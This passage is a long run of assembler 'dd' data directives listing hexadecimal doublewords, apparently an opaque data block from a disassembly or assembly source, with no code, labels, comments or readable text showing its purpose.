		dd 0DD032C2Bh, 77513546h, 0B95689C0h, 0C2D9807Fh, 4700F4BEh
		dd 0C920C4E9h, 27174Ch,	62DA8ED1h, 3348ED7Ah, 4ECEEE00h
		dd 0D259A19Dh, 0D7FA02F0h, 533D9A98h, 3A70607Bh, 986916FAh
		dd 734300D4h, 7F48872Dh, 0DD1400B6h, 0F8F092CCh, 8E1F4FCBh
		dd 1289C490h, 0CC830E30h, 69923103h, 0C310C30Bh, 8B504BA7h
		dd 1297C430h, 604F9531h, 0D209713Dh, 704CC39Eh,	451501B0h
		dd 0CF76D801h, 0E00BD163h, 3727FA51h, 0E49065ACh, 640167A9h
		dd 312A6545h, 2F0A708h,	7F48DAA0h, 27360h, 965BECA1h, 0DC50EE1Bh
		dd 252CD300h, 6A6D7429h, 0BAA82DC1h, 9021C086h,	91C0179Fh
		dd 2DD580C2h, 14F8645Dh, 0A877C45Bh, 0FDE09912h, 74E8A4h
		dd 253045BAh, 0ED3524FAh, 757B7800h, 0D39D3712h, 18F72510h
		dd 0B0DB08EAh, 13C570h,	9D4344D6h, 456B4B93h, 0A98E6031h
		dd 0BC50A4A7h, 0DF7365h, 798CF86h, 0F2D1BA6Eh, 2FD2A300h
		dd 95D8D0CAh, 0ED46010Bh, 1803D553h, 0F46E6EECh, 355B1700h
		dd 0BF23F363h, 0E03A7C5Bh, 5600E623h, 0CF9A0C9Bh, 91C1F0A0h
		dd 1FB5036Ch, 0ECC5B0B3h, 8C93E808h, 9D01D400h,	231BE3B8h
		dd 0CAEE4BE2h, 9C6A5B30h, 8793FC00h, 6F16C1EFh,	505B2825h
		dd 0E81902A4h, 92C332E2h, 40EB245Eh, 19670BBCh,	509362FCh
		dd 1FB46CA0h, 1F4E0448h, 18BE2553h, 0C33162C0h,	2FFA3864h
		dd 6FC45FCFh, 6B457481h, 0DCC424C0h, 85FCA554h,	95811E00h
		dd 34B0782h, 0A0924F2Fh, 62C53A74h, 5881BD9Dh, 27B3F0Fh
		dd 577C4F3Ch, 2F03D476h, 4FE048F5h, 0FC6E90h, 0D487596Ah
		dd 0E4515591h
		dd 95BB020Bh, 71CBA24Dh, 3E8A0A1h, 0E8017FEBh, 58ED7397h
		dd 0E2D0222Eh, 1415551Ah, 0BF805191h, 10406C5Fh, 984DC83Bh
		dd 9D2139FDh, 987D3F01h, 53B05928h, 5FB23457h, 1EB8730h
		dd 81B83F97h, 3A544716h, 0F1FDC8C1h, 80F958A5h,	0CC1953D1h
		dd 0D00A0E2h, 0B707268Eh, 2FF769F2h, 0D4E0BB13h, 745A739Fh
		dd 3EB688C0h, 0EB04251Ch, 8448EC7Ah, 0EA3C136Ch, 50ED3412h
		dd 0F10761B8h, 8F2DEA5Ch, 0F6974702h, 48EF0EF0h, 0B51423F2h
		dd 3700E28Ah, 704B94BDh, 9E5E3A11h, 0C4E8C84Ch,	8DB50E8Ch
		dd 3B40C5F8h, 4F011BAFh, 97518912h, 2A767C40h, 74C7C648h
		dd 451904BBh, 13123911h, 0CEE0DCB6h, 1197112Dh,	0D02005C4h
		dd 2B7700BAh, 96B2D778h, 0D53B3718h, 0FB758046h, 0F14C9EE7h
		dd 0A9FE7ACCh, 40E01CDCh, 0BE7800F2h, 21B485E9h, 4716225Eh
		dd 8420A4FEh, 4D9BD14h,	5C88B91Ch, 0FE92801Eh, 8B00BC73h
		dd 775B82D6h, 60A3357Bh, 0D84859CDh, 0DB189D2Bh, 88A089A8h
		dd 0A4154B3Fh, 0F44A4BE0h, 0CA2B2CCDh, 0C093C8C8h, 38F8906Ch
		dd 19BC8C31h, 0A6E47F14h, 306F0185h, 75783AB1h,	7ECA8BB8h
		dd 11349D5Dh, 6DE38290h, 86345E1Bh, 21BD8CB2h, 4C963100h
		dd 0E3505228h, 0FFF0BDB3h, 7F491612h, 0CCAC28B9h, 0E2020BF6h
		dd 5473B671h, 0B412001Eh, 8401D775h, 987B5B50h,	0FF300F5Eh
		dd 0A055162Bh, 0F86F90h, 8F5A6A3Ch, 1AF5BF6h, 1F97D542h
		dd 2B91B073h, 308B1064h, 0EEC05B88h, 454F695h, 4BA32E65h
		dd 5E64B8C2h, 0ADC8008Bh, 0C865CCC0h, 9EFE2EBAh, 0BF4E09A0h
		dd 0BCA66073h, 3AAF5E1Fh, 765C56F0h, 6E039246h,	0BDA3BBA1h
		dd 31760FD0h, 22B71100h, 801AD64h, 922B40D3h, 2C402BE1h
		dd 0A7720D95h, 4020FBBAh, 7904917Ch, 4A3918EFh,	947CCCC7h
		dd 0B8BE4AE2h, 9430BD97h, 316FFAh, 0E15FAD3Dh, 2126C008h
		dd 0AE51B026h, 7DA10Bh,	3465FBC4h, 0B8EFCD0h, 5D059237h
		dd 4722025h, 11E3AA8h, 0EEE7473Dh, 6E092806h, 7AA6BBEDh
		dd 9EB01FE0h, 27122409h, 0C8956461h, 3909204Ch,	0A4A7A496h
		dd 3D408A6Ch, 0A5BA2E05h, 1C8B7F4Fh, 7DC0A988h,	601245C8h
		dd 0BEAC518Bh, 0C0918810h, 0C4F77500h, 5E8CC27h, 0D53B78B1h
		dd 8C68C190h, 10BF0059h, 6504329Eh, 0B55F7CF1h,	0A3B68070h
		dd 0EAF929E8h, 137AB14h, 27F82094h, 0CFAF67Fh, 89B70F7Bh
		dd 7B7189C4h, 0F6BC7878h, 1E04D6E6h, 92C9F22Bh,	8F8008FCh
		dd 0FD3E911Fh, 24A211D6h, 0CE30A9F2h, 2ECF79CDh, 80ECB45Fh
		dd 676B1F9Eh, 9CA04118h, 915C1708h, 0CD82268h, 15631FB5h
		dd 28A0A730h, 711F438Bh, 61809EEEh, 8221FE0h, 0AB460014h
		dd 56DE0490h, 0D04AC6A8h, 5BC8B48Bh, 53A6BC0h, 80974895h
		dd 0E902A780h, 0C249C39Ah, 45F60054h, 8CB4757Bh, 0EDFC25D1h
		dd 13FA3022h, 0B7498700h, 0AF30C6ECh, 0BC9420D7h, 7B984674h
		dd 0C9EA4DB8h, 29831706h, 16589CC7h, 2F5DA5C1h,	13E81064h
		dd 0B59793C0h, 0DA00C9CBh, 1D0C3FCh, 485DC155h,	0EF272403h
		dd 0A16F4CE8h, 7713C0A0h, 20263131h, 4049C98Bh,	80A4DA2Ah
		dd 0EDF74001h, 9FCF25EAh, 0EF92F867h, 50880C8Fh, 6E00C3C7h
		dd 3E2E77C1h, 0CE09DC16h, 94748E5Ch, 72F8E8A7h,	73F40C28h
		dd 75104968h, 0B8A88497h, 596CF00h, 657774F5h, 720EE227h
		dd 75A30588h, 8ED43FE7h, 0C0548858h, 34EA5F1h, 0A9C86305h
		dd 64EC42C5h, 0F0215387h, 27036DAFh, 9580E9E8h,	4C47386Eh
		dd 113840C1h, 3D8015A6h, 0CFC7202Fh, 4AA8C915h,	0A3AC04DCh
		dd 408C56CCh, 0D7058C65h, 0D86B9F58h, 20B0BCFCh, 547658DBh
		dd 1213213Bh, 0A0FC807Ch, 1C8CC9ECh, 407F1196h,	331B3494h
		dd 318CC95h, 1FD05DBFh,	269E7008h, 0F69C4887h, 0E8450800h
		dd 63E4A2F6h, 1CA34CD9h, 0CF03C98Bh, 51889366h,	7707390Fh
		dd 7265CF9Bh, 42C132D0h, 22E1059Ah, 0AAD70CC3h,	0A1BC884Ch
		dd 484B494Ah, 0B301F4F8h, 0B5F12005h, 82C40A83h, 0DD812825h
		dd 185E21D8h, 49BE9088h, 0C46430C5h, 60C84A61h,	0FA00435Ah
		dd 27F9F70h, 9D172F09h,	0C480485h, 72D1E5B4h, 0BC82D700h
		dd 9195A590h, 31E0E53h,	12523F17h, 0BD04B9F4h, 0A663D700h
		dd 0D12F1F6Eh, 1157C121h, 238C4608h, 30C7A220h,	7E3C9526h
		dd 7541824Bh, 5E7073C6h, 8B60036Ch, 90B1055Fh, 3A0CF11Fh
		dd 82885405h, 8407CCF9h, 407EE035h, 5A741BD0h, 0F0919702h
		dd 59533860h, 18897908h, 640A1781h, 3DBCF3F2h, 0C49900F3h
		dd 5F7BA45Dh, 0D7F60CBAh, 0BC709525h, 0F31EEB00h, 2A8592Fh
		dd 0B0BF5149h, 82B89B3Ah, 20A2A33Dh, 8CBB3C7Bh,	0A1879500h
		dd 3A5F756Fh, 7F0E0133h, 4B9AE7F2h, 60D73BF6h, 0CCB0E069h
		dd 78732716h, 9E27F870h, 443Dh,	0B6806B98h, 0ADDEA32Eh
		dd 0DA25DCB8h, 2B782718h, 7698FC49h, 96C39E1Fh,	0D2185700h
		dd 0DA4E22h, 0A10D5D5Eh, 0D559DEADh, 95AA051Bh,	830EE828h
		dd 93A50073h, 0AD1AAF31h, 95EAAECAh, 6547E300h,	0C4434CA2h
		dd 5B443391h, 2103DE08h, 0B1654004h, 0D003B168h, 587861FBh
		dd 80E78341h, 0D6384C89h, 0E4EB1Ch, 3FA3A82h, 0CBAD25ACh
		dd 124AD51Dh, 5A613643h, 0C3590CD6h, 0F4A1DFB7h, 3F562C00h
		dd 0D7FF335h, 6B73F1h, 0D022810Eh, 57886F99h, 39A84932h
		dd 0E5D920D6h, 9DE8C6E1h, 8373D700h, 0D0B571B0h, 5ACFA35h
		dd 40BA7652h, 87540080h, 0F35C68D3h, 8E43E600h,	0D0E29CE0h
		dd 343F0774h, 1010953Bh, 7C0FF767h, 5F58041Ch, 0C94E01C0h
		dd 0A190829Ch, 29C8B624h, 443C1E5Dh, 0FB19B070h, 5C0075AEh
		dd 68B0C6AAh, 3CD512Fh,	0D05F0E06h, 4EB994CEh, 9DBFE0BDh
		dd 0D293A400h, 0CA8C3503h, 0B00A509Ch, 0EF34002Ah, 0A5A83908h
		dd 98A892ABh, 0D4011076h, 71E6181Bh, 9992FD6h, 0F456218Ch
		dd 3801AED4h, 39843329h, 0D9F01A1Fh, 0E662019Fh, 1316234Eh
		dd 0CF042071h, 52C83054h, 943D3719h, 1218A770h,	1821D408h
		dd 418DC416h, 0BED41A50h, 8444E0DAh, 0C6FC14EAh, 0DF3AA024h
		dd 1A33CF83h, 20B89B03h, 80F609Dh, 0D42C5712h, 3D4F1484h
		dd 0A4971293h, 95014C40h, 0A8ABB718h, 5ECFF0h, 29233489h
		dd 512A9AF6h, 21CE08CCh, 8AA600E6h, 49130957h, 0A807729Dh
		dd 0E04F81Ch, 3845B8BAh, 3E686C2Bh, 0EA80BE6Ch,	0A085250Eh
		dd 0B10051BDh, 0D7167518h, 0F233A591h, 351A0995h, 0B4102ED5h
		dd 0AC30A71Fh, 67F5699Ch, 0E7E900B9h, 47204ADFh, 0D605120Bh
		dd 1395027Ah, 895D7420h, 51232147h, 8AA5EFC0h, 0AE620093h
		dd 8DDD6518h, 3026254Bh, 0BC0090FBh, 50CC6EAh, 81249093h
		dd 5C181AA4h, 234A8908h, 40D0C459h, 9E8AA4E4h, 0B6DC04E8h
		dd 91E25D86h, 24E7B268h, 46006DD8h, 26415722h, 2FB492h
		dd 5A1A1E27h, 0CF8CD8DDh, 90941D01h, 99690450h,	1EA388A4h
		dd 0F88AA8Eh, 0ECC6FA96h, 5209F8D4h, 8B067A1h, 2E287519h
		dd 8C03B0F6h, 292B8683h, 1A8807C2h, 0C0E566BCh,	325D03FEh
		dd 0C4921F28h, 51A28500h, 97102C35h, 939B066Bh,	59C8FD09h
		dd 0E7D17891h, 3FCC918h, 0C89FAD30h, 48C31E22h,	59509C7Ah
		dd 19952B1Ch, 895F00B0h, 0F7A12349h, 0E980E0A5h, 0E6068AA7h
		dd 9A865C0Eh, 0D21E5A38h, 6A5F12FBh, 0AF861054h, 4C487BC0h
		dd 21F875B6h, 0ADDCE554h, 6BC844h, 0D7B424BCh, 927EFBD5h
		dd 340E7926h, 0CF55803Bh, 46901027h, 0C04266Dh,	0A690CC18h
		dd 0D40F048Ch, 8E3E1820h
		dd 175B009Ch, 770C67D4h, 462E00DCh, 902AEAE7h, 0D9416E5Eh
		dd 63E087F8h, 0E9DDF0D5h, 9482CD0h, 15D4CB50h, 6534028Ch
		dd 0C62B4B5Bh, 0D10DB19h, 3D1D654Dh, 0B681E886h, 72A1EC52h
		dd 143CD430h, 0D87D08FEh, 0A4504400h, 0F9CD9EE5h, 0C2688660h
		dd 0DF7954C6h, 251CD220h, 1D9C0858h, 35895BC0h,	0D618FB23h
		dd 1A3E588h, 12FECE8Ah,	85C01C6Fh, 0ED95ED8h, 7402C025h
		dd 84F79121h, 0ED60A4A8h, 182322D4h, 218A180Eh,	0E6B81551h
		dd 7E751A1Fh, 1208A028h, 3FFE45Fh, 0CC365595h, 0C22F181Fh
		dd 24805Fh, 0D21B7580h,	0D1E1211h, 161AA47Bh, 5AEC4808h
		dd 87D2133Eh, 88EBFDADh, 326A01Ah, 18B38420h, 55182301h
		dd 6881DFF6h, 614FD0C3h, 14E0169Ah, 0BC7A11D4h,	0CCE86024h
		dd 48CA3F0h, 1825D40Eh,	208E36h, 19D4165Ch, 5041F1Ch, 27E5599Dh
		dd 8F00C8E9h, 5DAE49C0h, 0C1442B0Eh, 0C91C4CA0h, 7780966Eh
		dd 0D080C424h, 12FEFBA0h, 40A48EF8h, 0C2C0DFDCh, 0B2136192h
		dd 1022A146h, 65353010h, 134B5808h, 40DD64C6h, 0E9654E0Eh
		dd 79BE7041h, 8CA9021Ah, 0A7C05F72h, 6919CC82h,	6041C884h
		dd 2313D221h, 0E1112E12h, 0D2195400h, 9D4D8807h, 802FE9C0h
		dd 15F567CFh, 0ACD7ACC5h, 87B82494h, 0DFCE008Ch, 1659792Ah
		dd 9B2C0E21h, 1445BC8Fh, 65498060h, 334B105Ch, 80EFC8C4h
		dd 5D65420Ah, 0B400DFA2h, 0E7F7B9C6h, 241C5F7Ah, 1720E4A1h
		dd 0DA942087h, 4700BA15h, 0E42F7F0h, 0C083AB65h, 43C92E99h
		dd 0CF04C09Eh, 0ECFA904Ah, 805EDCC1h, 51E448h, 91F318CEh
		dd 0C6231F25h, 0FC663C28h, 0DE1DD612h, 13D8C443h, 4CA109CCh
		dd 0E8182DD4h, 39174F85h, 70161229h, 8D080C00h,	1217CD93h
		dd 1EDC64Dh, 248F4A6Ch,	11E040FEh, 8CA1966Ah, 1C481819h
		dd 6C4B5F65h, 4109701Ch, 51606502h, 18D15ECh, 0F013A5B6h
		dd 6F2EFB06h, 8400040Ah, 42DE39A1h, 8105C49h, 248CDBFCh
		dd 472081B6h, 0B22970D1h, 0A0061F9h, 0F4F0AEDAh, 7A8F2692h
		dd 357B0F50h, 7822AABEh, 38C4F930h, 0A3D9FB06h,	0F0A621h
		dd 75C6832Ah, 0CC55A9Bh, 0A49EB12Ah, 0AC645085h, 0F95DD360h
		dd 36F71C01h, 4D045B0Ah, 699D9B42h, 24184C58h, 1208D208h
		dd 40E0C446h, 9DD21C53h, 32A30207h, 7CA8C6ABh, 28C2C8C9h
		dd 831280CCh, 2441D1CAh, 0D0B19Bh, 5BE423BCh, 0A9601CC5h
		dd 50C6F4D1h, 19809098h, 0B8A110ACh, 4E472BEh, 0F2BF1A0Eh
		dd 602F1490h, 7C61E055h, 0C88F10A1h, 0A7DE18D0h, 0F5258530h
		dd 0D8648C2Ch, 0D21A6046h, 8C16E212h, 0FC55E644h, 4E9300D2h
		dd 0DFB4A543h, 3D0D5066h, 0E065871Eh, 0E1A28C33h, 0D2B730h
		dd 7AB633FEh, 0F1EC1B1h, 4404FC94h, 0E0D0AAB2h,	0C5CB10D8h
		dd 2704D639h, 0BAF8C0F0h, 88096C9Ah, 93AABD48h,	1360AC3Ch
		dd 18231CD4h, 88111Eh, 0CCD41B6Fh, 176ED849h, 44808A9h
		dd 1FB6C00h, 0A2AB6D11h, 80880821h, 828ACC1Ah, 1D8090E4h
		dd 0D53E83CFh, 9B7C006Ah, 3F255D63h, 4C0118FFh,	4E9AB986h
		dd 31A0D283h, 794B46C0h, 12210DFCh, 2756C03Eh, 0DA01F6D2h
		dd 0DCB81C8Eh, 0F18B9CCDh, 0F4970196h, 0D689D391h, 23730758h
		dd 9719E809h, 5440C887h, 412100E5h, 78620CF8h, 0DF005224h
		dd 56A86977h, 9FC2D7Ch,	0D5FE5517h, 0AB5B4C81h,	0FC6FFA4Ah
		dd 104FD60h, 3830075h, 13C07868h, 4848D011h, 37705107h
		dd 0D7F4F0D8h, 2E4D0068h, 3FBFC4A6h, 0C6122193h, 0B001AF64h
		dd 6B75F450h, 5D060h, 153FEBFBh, 0A972435Bh, 96C6BB02h
		dd 0B014951Ch, 138AA2B4h, 38492348h, 0AA04EA80h, 16D9388Ah
		dd 6060FCC9h, 239E4185h, 10604E08h, 9CA10906h, 89465E74h
		dd 8B06E700h, 0AE32EC9Fh, 102DD900h, 0AD665B90h, 6091486Bh
		dd 3C09EB22h, 0A37FB4C6h, 0E6410C50h, 81E54499h, 7DDB7800h
		dd 0F945A09Ah, 0EF0001Bh, 0D3B473FCh, 0D529657Ah, 502881Ch
		dd 0C05FB30Ch, 6C2A124h, 3D5355Ah, 6D0021A5h, 0D723EE99h
		dd 2D04333h, 0B824C263h, 64449453h, 58011E46h, 39233689h
		dd 0E0000BF6h, 53D18AA0h, 0D800707Dh, 0B95F4FE9h, 24BEF8DFh
		dd 8E4AAFFh, 0BC09A71Ch, 85BC373Ah, 0C8ACE881h,	9E009F08h
		dd 0EE4661DDh, 9E75970h, 0B8B3D5C6h, 0B136B848h, 232FF400h
		dd 0DD80C8DBh, 9E770018h, 0AE39E498h, 0CF0563E7h, 300A8479h
		dd 0DBC86CCBh, 0CDC7D3C0h, 52EB0406h, 0E108DFBFh, 0EC502040h
		dd 98B29224h, 6AFD0D40h, 7B8E0137h, 0E9B3C0D9h,	22A982A0h
		dd 709B0B1Eh, 1CD22574h, 0CA802CB5h, 6C589253h,	82EF80C5h
		dd 23089158h, 65330116h, 73234B5Eh, 4C08804Ch, 9CABD865h
		dd 820A801Ch, 0E3B82CC2h, 0D45B9B1Ch, 3EAE0B81h, 607045B6h
		dd 0D8B40F1h, 0B1BD3317h, 73E8BC04h, 0D110B414h, 0DDDC029Fh
		dd 0E9B91A2Dh, 7F303D74h, 5D12047Fh, 0A2C4734Bh, 30E0F284h
		dd 8C021C4Ah, 0E4FEA9B6h, 18E05086h, 78E391ECh,	0C96C1AD8h
		dd 0AB480E1h, 0CBFC58B8h, 74942494h, 351D8946h,	0CA5A4026h
		dd 0D6841C44h, 10E80556h, 73048DDFh, 8816D8AFh,	3F2DAD0Ch
		dd 115C1702h, 771A87D5h, 21C544E0h, 926BE0E9h, 0E4F0855Ch
		dd 196E60DDh, 3AEE02D0h, 9A4F11D5h, 0B560FC4Fh,	2471A17Ah
		dd 13158BC4h, 0AD3C0031h, 9BC3DFF8h, 0D66D180Bh, 0FF5004DCh
		dd 26C48888h, 877435D3h, 0D144D43Ch, 0D43307FBh, 0D738AD6Bh
		dd 0A98006A7h, 0A712A86h, 399A6CAFh, 8D465ED8h,	0F736500h
		dd 0BEB86EFh, 46E0DB01h, 8B5CC63Dh, 0B1F2D443h,	0AFF50DDFh
		dd 2503A184h, 4472099Fh, 0CC573F18h, 6901485Dh,	810C4C95h
		dd 8628BEE7h, 0B71CD622h, 2C6098B1h, 10244003h,	0B8984C9Bh
		dd 0AF4387h, 84BBF486h,	7682CCCh, 607739Eh, 0D89B9083h
		dd 0B1C15B11h, 8B051C4Ch, 6B66A800h, 4C94A8B2h,	0E0465Eh
		dd 0D0A07B75h, 5E9BEFAh, 4AC039AAh, 0C870CB02h,	8422C0D7h
		dd 5819AB70h, 1F90D4DDh, 654C4618h, 165B2700h, 5F030E20h
		dd 5E80A465h, 59613163h, 809FF924h, 0A892A012h,	66D0A9E3h
		dd 77711388h, 0B284C12Eh, 85518EF0h, 0E6845F9Ah, 0C0A26A19h
		dd 9E309DF2h, 117801ECh, 0A88F728Eh, 12E438CFh,	50130C6Bh
		dd 888484CBh, 1CD330AFh, 0FCFFE78h, 8E86D767h, 0C3773105h
		dd 2CF3F284h, 6AAB2BE0h, 3CCC5F00h, 0CBAEDD5h, 2E394A82h
		dd 48C23B4h, 0B32AFFB1h, 6F268250h, 0DC8209C2h,	0C20FCA20h
		dd 89DD2225h, 11E09DA8h, 17A080E3h, 0A07595CCh,	306F1224h
		dd 5561D3F8h, 1A80F7F6h, 612E049Ch, 0C8B70258h,	660192ACh
		dd 75918960h, 0D18780ABh, 11195559h, 0F007E77Dh, 0E2006DA5h
		dd 0B0CD71BDh, 20E6AEFh, 0C1C75165h, 0F4D018FEh, 6DD44A12h
		dd 1C043485h, 5F4B9F57h, 8335D021h, 0ACC6859h, 94A4876Ch
		dd 0ED8F0289h, 8141C5D8h, 70A6DE90h, 0FD251B10h, 911C9D97h
		dd 0EF949DD6h, 4B3C22D0h, 0A24447D5h, 28AA0BC6h, 50C2000h
		dd 0BD6F1E5Eh, 0B5CC91A0h, 881F00E0h, 8C98B449h, 0FA31DABEh
		dd 0C89ADB00h, 250AD367h, 5B6F1E2Bh, 5751022Eh,	0BC7A8350h
		dd 74C20904h, 68C1B541h, 0C7071CEh, 0B00FD01h, 1C96F8B8h
		dd 465C906Ah, 0CD420089h, 219ECC39h, 10797C15h,	4C6F8DD3h
		dd 63BB14B8h, 18370CECh, 4AAFC1C5h, 0A7F840B2h,	0F63CE9B7h
		dd 1B573B1Fh, 0CD661A49h, 0EBE3C0C0h, 2B003D14h, 8F1C7D3h
		dd 7B9C4CEh, 0C54333AAh, 749D7986h, 0F381DE11h,	9FB7BBFBh
		dd 6041AD48h
		dd 95A50636h, 99F85838h, 18F43F8Ch, 65723D81h, 0D4F969B7h
		dd 0BD594457h, 91661364h, 0A500CC6Fh, 0A84E49BCh, 0EE040D87h
		dd 311BC372h, 0D5E0AC97h, 0C2711AD6h, 74FEFAC1h, 0D4504C48h
		dd 6D948B95h, 1F94E2A4h, 0FEDD9480h, 9C487B87h,	84A2D230h
		dd 1D3087B2h, 32B772Dh,	0B0A899C0h, 21009AACh, 3D0A4266h
		dd 210E8E6h, 15339D1Eh,	38E01A1Dh, 2B2C19D2h, 7D4040FDh
		dd 3EBBAB6Fh, 0C530188Bh, 0E7491419h, 9004C492h, 0D2824408h
		dd 0D5F264E2h, 0F7AA630h, 7692CFD8h, 8050D0C9h,	0BC3C780Bh
		dd 3A546094h, 906C80ECh, 8347B813h, 3CCB9C85h, 65C0D688h
		dd 5F809261h, 0D4240078h, 440E1C9Eh, 2DDA3D00h,	0B2D398D6h
		dd 0DC2B959Bh, 61C0004Dh, 137C6D4h, 0C128A41Eh,	489F2686h
		dd 8B4B4CACh, 0CA04DCh,	0EA4F0AB5h, 31A19E32h, 0C4CB1C00h
		dd 4217D54h, 0DA922525h, 7D9C2449h, 0FB0603B8h,	0F22372CEh
		dd 0DCF856F7h, 0C3CE8E28h, 0DB03B974h, 2A85D25Fh, 33B13B91h
		dd 10413492h, 88B830D8h, 8600AF43h, 0DA5B3987h,	0C581ED9h
		dd 0A8FE25D4h, 9D118858h, 72751906h, 0E00E8C2h,	93829657h
		dd 0A8A3B7CDh, 25DC94h,	0B999F9DEh, 0D84F6257h,	6A129A1Fh
		dd 0B8102D81h, 88008C7h, 0A15AC8FFh, 194FD565h,	5FE12837h
		dd 0E1B88B80h, 842A9E81h, 0C8B7FC51h, 747E88F6h, 0B8507E7Bh
		dd 0EE00693Ch, 33655686h, 0A5DEB6Eh, 58367EF1h,	6040138Ch
		dd 0ECD22064h, 13261223h, 1F5CA39Ch, 6FC0A854h,	2BF8633Ah
		dd 0D0800029h, 300138FCh, 660822AFh, 0BCA48EE7h, 9510C613h
		dd 7C50B208h, 70D31612h, 12F4E8A0h, 0B0CC62FBh,	87699804h
		dd 5908230h, 24A80296h,	0E1449067h, 0BDD35A60h,	788A43Bh
		dd 3B0EAA99h, 172D606Ch, 8D6F03D5h, 0A2046334h,	191330ACh
		dd 89FB3E3Bh, 4D99B25h,	88449244h, 3C3C8851h, 4C8A3D04h
		dd 14B0B104h, 0C1F4B82h, 9531ADC8h, 0BD102005h,	0BCE3AC92h
		dd 6E309FB2h, 28D7A97h,	1A57A87Dh, 845E8675h, 74609202h
		dd 2F6440ADh, 8C04946Dh, 8888CE25h, 0AB464D13h,	30A0E422h
		dd 2612D409h, 0CC382E18h, 0D411005Dh, 0D11F9A09h, 5F00D7A5h
		dd 0A819F6E6h, 0BA086F0Ch, 0C22C85E0h, 0F318AF88h, 52C73B1Ah
		dd 9F6CD51Dh, 85E8E6A9h, 42935D85h, 4C6F4A80h, 99175874h
		dd 21F68882h, 34EA5D17h, 8F1614CCh, 0A8C0817Eh,	92F211D8h
		dd 5EE0B61Ch, 9205D846h, 0E50CB801h, 0B020E288h, 7CADE6h
		dd 0FBD4BBCAh, 0C71C8EB1h, 0AA5C78F9h, 4A3DE600h, 4E10F36Ah
		dd 6346C00h, 0B4D5AC1Ah, 0AF0725B2h, 0EF64A8E7h, 0F663D660h
		dd 6D72A701h, 8D16B35Ch, 2AAF5C52h, 85200BD8h, 0E3511CC8h
		dd 91681D9Dh, 97C09ED7h, 23FA3B37h, 0C2884AFEh,	3CF14478h
		dd 0B31EF904h, 0FE03E088h, 0E74450AAh, 3823040Ah, 0E08A830Eh
		dd 0B88842CCh, 0F2553096h, 8712A5E4h, 10D7E024h, 0CDF1E04h
		dd 0A0ABCCF4h, 9135D6Ch, 8035F3AAh, 0E9562C10h,	5724F80Fh
		dd 0A5809C09h, 4039EA23h, 80342591h, 0F25A34A0h, 0BB003325h
		dd 54CB669Eh, 9A4F79h, 780B42AAh, 128E26ECh, 49A00C1Eh
		dd 7CCB6556h, 9EC0DDC8h, 3F21D33Ch, 44BBCC6h, 4BA01634h
		dd 5280001Ah, 27AB5B0Bh, 0D428A572h, 6F133D68h,	0FEA4C1D0h
		dd 648C41AAh, 68C104A8h, 0B300E386h, 0A160B833h, 8851AD59h
		dd 9E253F62h, 0B1503E00h, 1A777834h, 30E96Bh, 0E268C7C0h
		dd 3E5B2D5Dh, 5C563812h, 2E7465Eh, 79D452DEh, 9D54D2E0h
		dd 0B70E1037h, 65A64984h, 609CE438h, 5DDF0B1h, 2D86958Dh
		dd 2760C065h, 0C625236Ah, 0E16C634Ch, 0AC7984AEh, 0F60B8FB8h
		dd 421DF451h, 309C61C8h, 8CF1DC44h, 9D20F401h, 185F5A00h
		dd 2B86A700h, 85FF0150h, 0D0B24AFAh, 3B26BB0Ch,	0CEBD1700h
		dd 4722F6A8h, 4D98C855h, 0FD225C0h, 244E5812h, 0D21D50E0h
		dd 0FAD95Ch, 0CE47C7BEh, 0B6BC6886h, 0A98264ECh, 0AB920394h
		dd 0F0FB4D53h, 0C8C411h, 0B0DE78D7h, 0DDC3B57Ch, 27109B78h
		dd 355BCB2Ah, 92400100h, 7CA16C50h, 502ED650h, 482AE123h
		dd 465EC89Ch, 6B550087h, 3C57BB14h, 11CCB6CCh, 48872520h
		dd 10AB604h, 63157C4Eh,	0C4E0F4E7h, 0B10A5B58h,	0C441C960h
		dd 0E2D01760h, 77300032h, 8625688Fh, 814ADD75h,	0CC5A1C33h
		dd 60877401h, 436469C5h, 30E3A2D8h, 0EA5F77A5h,	0C4C3C01h
		dd 12A687Dh, 4F9D1AE4h,	12107C3Fh, 0C0F210DFh, 8899EC08h
		dd 1ADDDC00h, 0CFBE5518h, 0B8095899h, 144548E8h, 173DAC7Ch
		dd 0C0590083h, 0F01EF21h, 481B1CBCh, 1A4466DDh,	467319Ch
		dd 3F60CE44h, 8D006E1Ch, 0F49363C9h, 61C2F061h,	0F3CCB1CEh
		dd 20003B81h, 5FC3DA24h, 9B7C050Eh, 52EE2586h, 4110088h
		dd 3CF2E76Ch, 0C40C22E2h, 3869FD03h, 0D7DA05B5h, 0A1012B85h
		dd 0F84841B4h, 3F5075AAh, 2600E46Bh, 0ECB90A9Fh, 736E35EBh
		dd 870CC268h, 25B0D084h, 48446579h, 0C1E0E70Eh,	0EDA64131h
		dd 0C072CA41h, 0A87910h, 7CAB2B3Ch, 4B5A81ACh, 80989EC2h
		dd 0EDD52B42h, 2C58B68Ch, 8A465EC0h, 1CF64100h,	4FA255E1h
		dd 0DF368000h, 0DECDF078h, 0E4C804C3h, 0C1010939h, 0CDCCA8C4h
		dd 0E608982Bh, 320D21h,	4B221E09h, 0A2349C27h, 15CC0B60h
		dd 279CEC9h, 37208F2Eh,	2C907CDFh, 5080945h, 64AA634Ch
		dd 3E9C5FDCh, 0F7E46B80h, 55D545h, 43D84F9Fh, 0CDBEFDA4h
		dd 82F3EC39h, 4BB4E6C4h, 75C02CF8h, 938048Ch, 623B4C02h
		dd 310E20DAh, 38038509h, 0E84BAD91h, 0BCCED8F9h, 7F4901E6h
		dd 0FAC9E1DAh, 4019E121h, 3DC57208h, 80C0EC7Dh,	0A22228C3h
		dd 0FF4F5863h, 1147C80Ch, 21C0C208h, 0C0A21A0Dh, 0A35900CCh
		dd 0EAA5E2CFh, 0D6614B02h, 0E8ABF950h, 0CEC49080h, 73AD5FE5h
		dd 84B9E06h, 1126393h, 0CAC9A78Ch, 81C84DF5h, 0A4563859h
		dd 8840CD51h, 6818534Eh, 1184C0EDh, 9448079h, 0AC5B4C06h
		dd 0AE044B8h, 0CF093D19h, 37187638h, 0E8B0FFF8h, 0E544A08Ch
		dd 9300003h, 8BB6A7Ah, 69033C29h, 70502FF2h, 34B111B4h
		dd 60DB32C7h, 943307Ah,	534C0311h, 0F83DF88h, 0E0AC093Ch
		dd 7B443Fh, 0D7514D78h,	0BC818455h, 67DBF8C7h, 14FEB6E0h
		dd 6E4C072Fh, 1AC713C8h, 0FFA38094h, 144F388Dh,	46EAF10Ch
		dd 0C0B7080Ch, 8DF78621h, 9B125113h, 5C010973h,	2CFD6BEBh
		dd 296DECD4h, 1281FC8h,	4F448E03h, 88C01874h, 8D3BFB8Ah
